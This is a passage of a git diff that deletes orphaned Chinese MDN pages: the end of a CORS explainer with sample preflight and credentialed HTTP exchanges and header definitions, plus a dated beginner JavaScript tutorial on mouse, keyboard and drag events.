文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p> - -<pre>OPTIONS /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Origin: http://foo.example -Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:39 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET, OPTIONS -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400 -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 0 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain</pre> - -<p>预检请求完成之后,发送实际请求:</p> - -<pre><code>POST /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -X-PINGOTHER: pingpong -Content-Type: text/xml; charset=UTF-8 -Referer: http://foo.example/examples/preflightInvocation.html -Content-Length: 55 -Origin: http://foo.example -Pragma: no-cache -Cache-Control: no-cache - -<?xml version="1.0"?><person><name>Arun</name></person> - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:40 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 235 -Keep-Alive: timeout=2, max=99 -Connection: Keep-Alive -Content-Type: text/plain - -[Some GZIP'd payload]</code></pre> - -<p>浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 <code>OPTIONS 方法的“</code>预检请求<code>”。</code> OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:</p> - -<pre><code>Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type</code></pre> - -<p><code>首部字段 Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法。<font face="Open Sans, Arial, sans-serif">首部字段 </font></code><code><code>Access-Control-Request-Headers 告知服务器,实际请求将携带两个自定义请求首部字段:<code>X-PINGOTHER 与 Content-Type。服务器据此决定,该实际请求是否被允许。</code></code></code></p> - -<p>第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:</p> - -<pre><code>Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET, OPTIONS -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400</code></pre> - -<p><font face="Open Sans, Arial, sans-serif">首部字段</font><code><font face="Open Sans, Arial, sans-serif"> </font>Access-Control-Allow-Methods </code>表明服务器允许客户端使用<code> </code><code>POST,</code> <code>GET </code>和 <code>OPTIONS</code> 方法发起请求。该字段与 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7">HTTP/1.1 Allow: response header</a> 类似,但仅限于在需要访问控制的场景中使用。</p> - -<p>首部字段 <code>Access-Control-Allow-Headers </code>表明服务器允许请求中携带字段 <code><code>X-PINGOTHER </code></code>与<code><code> Content-Type</code></code>。<font face="Open Sans, Arial, sans-serif">与</font><code><code><font face="Open Sans, Arial, sans-serif"> </font></code></code><code>Access-Control-Allow-Methods </code>一样,<code><code>Access-Control-Allow-Headers</code></code> 的值为逗号分割的列表。</p> - -<p>最后,首部字段 <code>Access-Control-Max-Age</code> 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。</p> - -<h4 id="预检请求与重定向">预检请求与重定向</h4> - -<p>大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:</p> - -<blockquote> -<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> -</blockquote> - -<blockquote> -<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> -</blockquote> - -<p>CORS 最初要求该行为,不过<a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">在后续的修订中废弃了这一要求</a>。</p> - -<p>在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:</p> - -<ul> - <li>在服务端去掉对预检请求的重定向;</li> - <li>将实际请求变成一个简单请求。</li> -</ul> - -<p>如果上面两种方式难以做到,我们仍有其他办法:</p> - -<ul> - <li>发出一个简单请求(使用 <a href="/en-US/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a>)以判断真正的预检请求会返回什么地址。</li> - <li>发出另一个请求(真正的请求),使用在上一步通过<a href="https://developer.mozilla.org/en-US/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseURL">XMLHttpRequest.responseURL</a>获得的URL。</li> -</ul> - -<p>不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。</p> - -<h3 id="附带身份凭证的请求">附带身份凭证的请求</h3> - -<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 与 CORS 的一个有趣的特性是,可以基于 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> 和 HTTP 认证信息发送身份凭证。一般而言,对于跨域 {{domxref("XMLHttpRequest")}} 或 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 请求,浏览器<strong>不会</strong>发送身份凭证信息。如果要发送凭证信息,需要设置 <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a> </code>的某个特殊标志位。</p> - -<p><code class="plain">本例中,http://foo.example 的某脚本向 <code class="plain">http://bar.other 发起一个GET 请求,并设置 Cookies:</code></code></p> - -<pre id="line1"><code>var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/credentialed-content/'; - -function callOtherDomain(){ - if(invocation) { - invocation.open('GET', url, true); - invocation.withCredentials = true; - invocation.onreadystatechange = handler; - invocation.send(); - } -}</code></pre> - -<p>第 7 行将 <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a> </code>的 <code>withCredentials 标志设置为 true,</code>从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 <code>Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。</code></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png"></p> - -<p>客户端与服务器端交互示例如下:</p> - -<pre><code>GET /resources/access-control-with-credentials/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/credential.html -Origin: http://foo.example -Cookie: pageAccess=2 - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:34:52 GMT -Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 -X-Powered-By: PHP/5.2.6 -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Credentials: true -Cache-Control: no-cache -Pragma: no-cache -Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 106 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain - - -[text/plain payload]</code></pre> - -<p>即使第 11 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true(</code>第 19 行),则响应内容不会返回给请求的发起者。</p> - -<h4 id="附带身份凭证的请求与通配符">附带身份凭证的请求与通配符</h4> - -<p>对于附带身份凭证的请求,服务器不得设置 <code style="font-style: normal;">Access-Control-Allow-Origin 的值为“*”。</code></p> - -<p><code style="font-style: normal;">这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 </code>http://foo.example,则请求将成功执行。</p> - -<p>另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。</p> - -<h2 id="HTTP_响应首部字段">HTTP 响应首部字段</h2> - -<p>本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。</p> - -<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> - -<p>响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}}<code style="font-style: normal;"> 字段,其语法如下:</code></p> - -<pre>Access-Control-Allow-Origin: <origin> | * -</pre> - -<p>其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。</p> - -<p>例如,下面的字段值将允许来自 http://mozilla.com 的请求:</p> - -<pre>Access-Control-Allow-Origin: <span class="plain">http://mozilla.com</span></pre> - -<p>如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。</p> - -<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> - -<p>译者注:在跨域访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。</p> - -<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:</p> - -<pre>Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header -</pre> - -<p>这样浏览器就能够通过getResponseHeader访问<code>X-My-Custom-Header</code>和 <code>X-Another-Custom-Header</code> 响应头了。</p> - -<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> - -<p>{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。</p> - -<pre>Access-Control-Max-Age: <delta-seconds> -</pre> - -<p><code>delta-seconds</code> 参数表示preflight请求的结果在多少秒内有效。</p> - -<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> - -<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的<code>credentials</code>设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用<code>credentials</code>。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。</p> - -<pre>Access-Control-Allow-Credentials: true -</pre> - -<p>上文已经讨论了<a href="#Requests_with_credentials">附带身份凭证的请求</a>。</p> - -<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> - -<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。</p> - -<pre>Access-Control-Allow-Methods: <method>[, <method>]* -</pre> - -<p>相关示例见<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">这里</a>。</p> - -<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> - -<p>{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。</p> - -<pre>Access-Control-Allow-Headers: <field-name>[, <field-name>]* -</pre> - -<h2 id="HTTP_请求首部字段">HTTP 请求首部字段</h2> - -<p>本节列出了可用于发起跨域请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨域请求时,它们已经被设置就绪。</p> - -<h3 id="Origin">Origin</h3> - -<p>{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。</p> - -<pre>Origin: <origin> -</pre> - -<p>origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。</p> - -<div class="note"><strong>Note:</strong> 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。</div> - -<p>注意,不管是否为跨域请求,ORIGIN 字段总是被发送。</p> - -<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> - -<p>{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。</p> - -<pre>Access-Control-Request-Method: <method> -</pre> - -<p>相关示例见<a href="#Preflighted_requests">这里</a>。</p> - -<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> - -<p>{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。</p> - -<pre>Access-Control-Request-Headers: <field-name>[, <field-name>]* -</pre> - -<p>相关示例见<a href="#">这里</a>。</p> - -<h2 id="规范">规范</h2> - -<table> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td>New definition; supplants CORS specification.</td> - </tr> - <tr> - <td>{{SpecName('CORS')}}</td> - <td>{{Spec2('CORS')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> - -<h3 id="注">注</h3> - -<ul> - <li>IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。</li> - <li>Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨域支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨域支持;Firefox 9 引入了对 drawImage 的跨域支持。</li> -</ul> - -<h2 id="参见">参见</h2> - -<ul> - <li><a href="http://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> - <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> - <li><a href="http://www.w3.org/TR/cors/">Cross-Origin Resource Sharing specification</a></li> - <li>{{domxref("XMLHttpRequest")}}</li> - <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> - <li><a href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> - <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li> -</ul> - -<p>{{ languages( { "ja": "ja/HTTP_access_control" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/javascript/javascript(起步)/index.html b/files/zh-cn/orphaned/web/javascript/javascript(起步)/index.html deleted file mode 100644 index 7ec33aa1ed..0000000000 --- a/files/zh-cn/orphaned/web/javascript/javascript(起步)/index.html +++ /dev/null @@ -1,293 +0,0 @@ ---- -title: javascript(起步) -slug: orphaned/Web/JavaScript/javascript(起步) -tags: - - bug-840092 -original_slug: Web/JavaScript/javascript(起步) ---- -<h2 id="Why_JavaScript.3F" name="Why_JavaScript.3F">JavaScript是什么?</h2> - -<p>作为一门计算机语言,JavaScript本身强大、复杂,且难于理解。但是,你可以用它来开发一系列的应用程序,它有巨大的潜力来改变当前的互联网现状。下面这个应用程序就是一个很好的例子:<a class="external" href="http://local.google.com/">Google Maps</a>。</p> - -<p>JavaScript(通称为ECMAScript)最大的优势在于,它基于浏览器,但是通过浏览器的支持可以在不同平台上生产出相同结果。 本文举出的例子是 Google Maps,它几乎可以无差别的运行在 Linux、Windows和Mac OS系统中。 伴随大量JavaScript类库的出现,你现在可以用它很轻易的实现文档导航、DOM元素选择、创建动画、处理事件和开发AJAX应用。同其他因各种利益目的而推动的技术不同,JavaScript是一种真正免费并且被广泛采用的跨平台编程语言。</p> - -<h2 id="What_you_should_already_know" name="What_you_should_already_know">你应该知道</h2> - -<p>JavaScript是一种非常容易入门的编程语言。你只需要一个文本编辑器和web浏览器就可以开始进行学习。 </p> - -<p>在使用 JavaScript进行开发的过程中,可能还会涉及很多其他技术,这不在本文讨论的范围之内。 所以,不要期望在学习的第一天就能开发出一个类似 Google maps 这样的应用程序。</p> - -<h2 id="Getting_Started" name="Getting_Started">起步</h2> - -<p>JavaScript的起步非常简单。你不需要进行复杂的程序安装,不需要去了解如何使用shell、打包器或编译器。它是通过浏览器来展示的,你所需要做的全部事情就是把你的代码保存为文本文件,然后再浏览器中打开。就这么简单!</p> - -<p>JavaScript非常适合作为入门级的编程语言。它直观形象,并且教会学生认识到这是一个在实际生活中非常有用的工具。 对比C、C++和 Java等语言会发现有很大不同,它们只对那些专业的软件开发者来说是有价值的。</p> - -<h2 id="Browser_Compatibility_Issues" name="Browser_Compatibility_Issues">浏览器兼容问题</h2> - -<p>不同浏览器在功能实现上有很多不同之处。Mozilla, Microsoft IE, Apple Safari 和 Opera 在行为上有很多差异。 我们计划在此记录这些差异 <a href="/en-US/docs/JavaScript/Compatibility" title="en-US/docs/JavaScript/Compatibility">documenting these variations</a>。你可以使用各种跨平台的JavaScript API接口来解决这些兼容性问题。这些API隐藏了浏览器之间的各种差异,提供了通用性的功能函数来方便调用。</p> - -<h2 id="How_to_try_the_Examples" name="How_to_try_the_Examples">如何运行示例</h2> - -<p>下面的例子都有相同的代码。要执行它们有多种方法,如果你有自己的个人站点,你还可以在站点上把这些例子保存为新的页面。</p> - -<p>如果你没有自己的个人站点,你可以在电脑上把这些例子保存下来,并使用你自己的浏览器来执行它们。这就是JavaScript简单的地方,也是它适合做入门语言的原因。你不需要编译器或者开发环境,你只需要一个浏览器就可以开始起步了。</p> - -<h2 id="Example:_Catching_a_mouse_click" name="Example:_Catching_a_mouse_click">举例:捕获一个鼠标单击事件</h2> - -<p>事件处理 (事件类型、事件注册、冒泡等) 的细节是一个非常宽泛的话题,这个简单的例子并不能说明所有的问题。然而,如果我们不涉及JavaScript事件系统,我们就不能很好展示一个鼠标点击捕获的范例。你只需要记得例子里展示的只是JavaScrpt事件系统里非常表象的一些东西,如果你想要了解更多的内部细节,那你可以去查找更详细的相关资料。</p> - -<p>鼠标事件只是浏览器同用户交互过程中所产生的事件系统里的一个子集。下面列举了一些用户在交互过程中产生的具体的鼠标事件:</p> - -<ul> - <li>Click - 用户点击鼠标时触发</li> - <li>DblClick - 用户双击鼠标时触发</li> - <li>MouseDown - 用户按下鼠标键触发 (click事件前半部分)</li> - <li>MouseUp - 用户释放鼠标键触发 (click事件后半部分)</li> - <li>MouseOut - 当鼠标指针离开对象物理边界时触发</li> - <li>MouseOver - 当鼠标指针进入对象物理边界时触发</li> - <li>MouseMove -当鼠标指针在对象物理边界内移动时触发</li> - <li>ContextMenu - 用户点击鼠标右键时触发</li> -</ul> - -<p>捕获事件并注册处理函数最简单的办法就是使用HTML,你可以把事件当成元素属性来使用。例子:</p> - -<pre class="brush:js"> <span onclick="alert('Hello World!');">Click Here</span></pre> - -<p>要执行的JavaScript代码既可以作为属性值写在行内位置,也可以写成函数并用<script>包裹后放到HTML页面中:</p> - -<pre class="brush:js"><script type="text/javascript"> - function onclick_callback () { - alert ("Hello, World!"); - } -</script> -<span onclick="onclick_callback();">Click Here</span></pre> - -<p>另外,事件对象是可以被捕获和引用,开发者可以通过访问事件对象来获取更多信息,如捕获事件的对象、事件类型、哪个鼠标按键被点击等。我们还用上面的例子来说明:</p> - -<pre class="brush:js"><script type="text/javascript"> - function onclick_callback(event) { - var eType = event.type; - /* the following is for compatability */ - /* Moz populates the target property of the event object */ - /* IE populates the srcElement property */ - var eTarget = event.target || event.srcElement; - - alert( "Captured Event (type=" + eType + ", target=" + eTarget ); - } -</script> -<span onclick="onclick_callback(event);">Click Here</span></pre> - -<p>对于事件的注册和接收还用注意一些的是,你可以给任何使用JavaScript生成的HTMLElement对象做相同的操作。下面的例子展示了一个这样的过程:生成span对象,添加到页面中的body,给span注册mouse-over、mouse-out、mouse-down和 mouse-up事件。</p> - -<pre class="brush:js"><script type="text/javascript"> - function mouseevent_callback(event) { - /* The following is for compatability */ - /* IE does NOT by default pass the event object */ - /* obtain a ref to the event if one was not given */ - if (!event) event = window.event; - - /* obtain event type and target as earlier */ - var eType = event.type; - var eTarget = event.target || event.srcElement; - alert(eType +' event on element with id: '+ eTarget.id); - } - - function onload () { - /* obtain a ref to the 'body' element of the page */ - var body = document.body; - /* create a span element to be clicked */ - var span = document.createElement('span'); - span.id = 'ExampleSpan'; - span.appendChild(document.createTextNode ('Click Here!')); - - /* register the span object to receive specific mouse events */ - span.onmousedown = mouseevent_callback; - span.onmouseup = mouseevent_callback; - span.onmouseover = mouseevent_callback; - span.onmouseout = mouseevent_callback; - - /* display the span on the page */ - body.appendChild(span); -} -</script></pre> - -<p>{{ draft() }}</p> - -<h2 id="Example:_Catching_a_keyboard_event" name="Example:_Catching_a_keyboard_event">举例:捕获一个键盘事件</h2> - -<p>同上面的例子类似,键盘事件捕获也依赖于JavaScript事件系统。当键盘上的键被使用的时候触发键盘事件。</p> - -<p>下面的列表展示了一些具体的键盘事件,同鼠标事件相比是很少的:</p> - -<ul> - <li>KeyPress - 按键被按下并且释放后触发</li> - <li>KeyDown - 按键被按下但是还没有被释放时触发</li> - <li>KeyUp - 按键被释放时触发</li> - <li>TextInput ( Webkit浏览器下可以使用,并且只在输入时有效) - 通过粘贴、语音或者键盘输入文本时触发。本文不介绍该事件。</li> -</ul> - -<p>在一个 <a class="new " href="/en-US/docs/DOM/event/keypress" rel="internal">keypress</a> 事件中,键值的Unicode编码会存储到属性keyCode或者<code><a href="/en-US/docs/DOM/event.charCode" rel="internal">charCode</a></code> 中,但是两者不会同时存在。按键会生成一个字母 (如 'a'),这时会把字母的编码存储到<code>charCode</code> 中,注意这里是区分大小写的( <code>charCode</code> 会判断shift键是否同时被按下)。其他情况下,编码会存储到 <code>keyCode中。</code></p> - -<p>捕获键盘事件最简单的方法仍然是在HTML中注册键盘事件的处理函数,在元素属性中处理相关事件。 举例:</p> - -<pre class="brush:js"> <input type="text" onkeypress="alert ('Hello World!');"></input> -</pre> - -<p>同鼠标事件类似,你的 JavaScript代码既可以写到属性值内,也可以作为函数用<script包裹后写到HTML页面中:</p> - -<pre class="brush:js"><script type="text/javascript"> - function onkeypress_callback () { - alert ("Hello, World!"); - } -</script> - -<input onkeypress="onkeypress_callback();"></input> -</pre> - -<p>捕获事件和引用事件源(一个真实的键被按下时) 的方法同鼠标事件类似:</p> - -<pre class="brush:js"><script type="text/javascript"> - function onkeypress_callback(evt) { - var eType = evt.type; // Will return "keypress" as the event type - var eCode = 'keyCode is ' + evt.keyCode; - var eChar = 'charCode is ' + evt.charCode; - - alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")"); - } -</script> -<input onkeypress="onkeypress_callback(event);"></input></pre> - -<p>要捕获页面上所有的键盘事件,可以在document上注册和绑定相关的处理函数:</p> - -<pre class="brush:js"><script type="text/javascript"> - document.onkeypress = key_event; - document.onkeydown = key_event; - document.onkeyup = key_event; - - function key_event(evt) { - var eType = evt.type; - var eCode = "ASCII code is " + evt.keyCode; - var eChar = 'charCode is ' + evt.charCode; - - alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")"); - } -</script></pre> - -<p>下面是一个完整的键盘事件处理过程:</p> - -<pre class="brush:js"><!DOCTYPE html> -<html> -<head> - <script> - var metaChar = false; - var exampleKey = 16; - function keyEvent(event) { - var key = event.keyCode || event.which; - var keychar = String.fromCharCode(key); - if (key==exampleKey) { metaChar = true; } - if (key!=exampleKey) { - if (metaChar) { - alert("Combination of metaKey + " + keychar) - metaChar = false; - } else { alert("Key pressed " + key); } - } - } - function metaKeyUp (event) { - var key = event.keyCode || event.which; - if (key==exampleKey) { metaChar = false; } - } - </script> -</head> -<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)"> -</body> -</html></pre> - -<h3 id="浏览器_bugs_和_quirks">浏览器 bugs 和 quirks</h3> - -<p>键盘事件中有两个可用的属性<code style="font-style: normal; line-height: 1.5;">keyCode</code><span style="line-height: 1.5;"> 和 </span><code style="font-style: normal; line-height: 1.5;">charCode。通常情况下,</code><code style="font-style: normal; line-height: 1.5;">keyCode</code><span style="line-height: 1.5;"> 指向的是用户按下的键盘上的那个键,而</span><code style="font-style: normal; line-height: 1.5;">charCode</code><span style="line-height: 1.5;"> 存储的是相应键的 ASCII 码值。这两个值不一定相同,如, 小写 'a' 和 大写 'A' 拥有相同的 </span><code style="font-style: normal; line-height: 1.5;">keyCode,因为用户按下的是相同的按键,但是他们的</code><code style="font-style: normal; line-height: 1.5;">charCode不同,因为两个字母的码值不同。</code><span style="line-height: 1.5;"> </span></p> - -<p>不同浏览器对于charCode的处理方式并不统一。例如Internet Explorer 和Opera 并不支持 <code>charCode,他们把字母信息写到了</code><code>keyCode</code>中,而且只在 onkeypress下有效。在 Onkeydown 和Onkeyup的事件中, <code>keyCode</code> 存储的仍然是按键的相关信息。 Firefox 则使用 "which", 来区分字母。.</p> - -<p>可以到 Mozilla 文档 <a href="/en-US/docs/DOM/Event/UIEvent/KeyboardEvent" title="https://developer.mozilla.org/en-US/docs/DOM/Event/UIEvent/KeyEvent">Keyboard Events</a> 去了解关于键盘事件的更多信息。.</p> - -<p>{{ draft() }}</p> - -<h2 id="Example:_Dragging_images_around" name="Example:_Dragging_images_around">举例:拖曳图片</h2> - -<p>下面的例子展示了firefox浏览器下如何实现拖动图片:</p> - -<pre class="brush:js"><!DOCTYPE html> -<html> -<head> -<style type='text/css'> -img { position: absolute; } -</style> - -<script type='text/javascript'> -window.onload = function() { - - movMeId=document.getElementById("ImgMov"); - movMeId.style.top = "80px"; - movMeId.style.left = "80px"; - movMeId.style.position = "absolute"; - - document.onmousedown = coordinates; - document.onmouseup=mouseup; - - function coordinates(e) { - if (e == null) { e = window.event;} - var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target; - - if (sender.id=="ImgMov") { - mouseover = true; - pleft = parseInt(movMeId.style.left); - ptop = parseInt(movMeId.style.top); - xcoor = e.clientX; - ycoor = e.clientY; - document.onmousemove=moveImage; - return false; - } else { - return false; - } - } - - function moveImage(e) { - if (e == null) { e = window.event; } - movMeId.style.left = pleft+e.clientX-xcoor+"px"; - movMeId.style.top = ptop+e.clientY-ycoor+"px"; - return false; - } - - function mouseup(e) { - document.onmousemove = null; - } -} -</script> -</head> - -<body> - <img id="ImgMov" src="http://mozcom-cdn.mozilla.net/img/covehead/about/logo/download/logo-only.png" width="64" height="64"/> - <p>Drag and drop around the image in this page.</p> -</body> - -</html></pre> - -<h2 id="Example:_Resizing_things" name="Example:_Resizing_things">举例:改变大小</h2> - -<div>{{todo("Need Content. Or, remove headline")}}</div> - -<h3 id="Example:_Drawing_Lines" name="Example:_Drawing_Lines">举例:绘制直线</h3> - -<div class="originaldocinfo"> -<h2 id="Original_Document_Information" name="Original_Document_Information">附加文档信息</h2> - -<ul> - <li>作者: <a class="external" href="http://linuxmachines.com/">Jeff Carr</a></li> - <li>Here is a attempt at a new <a href="/en-US/docs/javascript_new_testpage" title="en-US/docs/javascript_new_testpage">JavaScript new testpage</a></li> - <li>最后修改: July 14 2005</li> - <li>版权信息: © 2005 by individual contributors; content available under the <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li> -</ul> -</div> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/javascript/reference/errors/typed_array_invalid_arguments/index.html b/files/zh-cn/orphaned/web/javascript/reference/errors/typed_array_invalid_arguments/index.html deleted file mode 100644 index d53c093683..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/errors/typed_array_invalid_arguments/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'TypeError: invalid arguments' -slug: orphaned/Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments -tags: - - JavaScript - - 类型错误 - - 错误提示 -translation_of: Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments 